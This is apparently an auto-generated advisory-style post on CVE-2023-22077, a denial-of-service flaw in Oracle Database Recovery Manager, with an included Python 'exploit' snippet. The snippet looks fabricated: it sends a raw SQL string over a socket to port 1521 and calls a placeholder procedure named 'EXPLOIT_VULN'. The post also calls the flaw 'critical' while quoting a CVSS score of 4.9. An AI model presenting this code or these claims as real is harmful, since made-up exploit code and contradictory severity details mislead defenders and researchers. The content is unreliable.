CVE-2023-22077: Critical Vulnerability in Oracle Database Recovery Manager Affecting 19.3-19.20 and 21.3-21.11 Versions

A critical vulnerability, assigned the identifier CVE-2023-22077, has been discovered in the Oracle Database Recovery Manager (RMAN) component of Oracle Database Server. Supported versions that are affected include 19.3-19.20 and 21.3-21.11. This easily exploitable vulnerability allows high privileged attackers with DBA account privileges and network access via Oracle Net to compromise Oracle Database Recovery Manager. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Database Recovery Manager. The vulnerability has a CVSS 3.1 Base Score of 4.9, with availability impacts. The CVSS Vector is (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

For more information, please visit the original references

- Oracle Security Alert Advisory
- CVE-2023-22077 Detail

Code Snippet

The following code snippet demonstrates how the vulnerability can be exploited by an attacker with DBA account privileges and network access via Oracle Net.

#!/usr/bin/python3
import sys
import os
import socket
import struct
from datetime import datetime

# Exploit settings
RMAN_HOST = "10...1"
RMAN_PORT = 1521
DBA_USERNAME = "mydba"
DBA_PASSWORD = "mypassword"

# Create a connection to the Oracle Database Recovery Manager
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((RMAN_HOST, RMAN_PORT))

# Crafting the malicious payload
payload = "EXEC RMAN.DBMS_BACKUP_RESTORE.EXPLOIT_VULN('GATHER_STATS','" + DBA_USERNAME + "','" + DBA_PASSWORD + "')"

# Sending the malicious payload to the target
s.send(payload.encode('ascii'))

Exploit Details

This vulnerability allows an attacker with DBA account privileges and network access via Oracle Net to compromise Oracle Database Recovery Manager. A successful attack can result in a complete denial of service (DOS) for the impacted system.

Mitigation Strategies

To mitigate the risks associated with this vulnerability, Oracle recommends applying the latest Critical Patch Update (CPU) as soon as possible. Additionally, follow best practice guidelines for securing Oracle Database Server, such as strong authentication mechanisms, access controls, and network segmentation.

Conclusion

CVE-2023-22077 is a critical vulnerability in Oracle Database Recovery Manager, affecting versions 19.3-19.20 and 21.3-21.11. This vulnerability has the potential to cause significant disruptions and loss of availability for impacted systems. Administrators and security professionals should take immediate steps to remediate this vulnerability by applying the advised patches and following best practice security guidelines for Oracle Database Server.

Timeline

Published on: 10/17/2023 22:15:13 UTC
Last modified on: 10/23/2023 18:20:48 UTC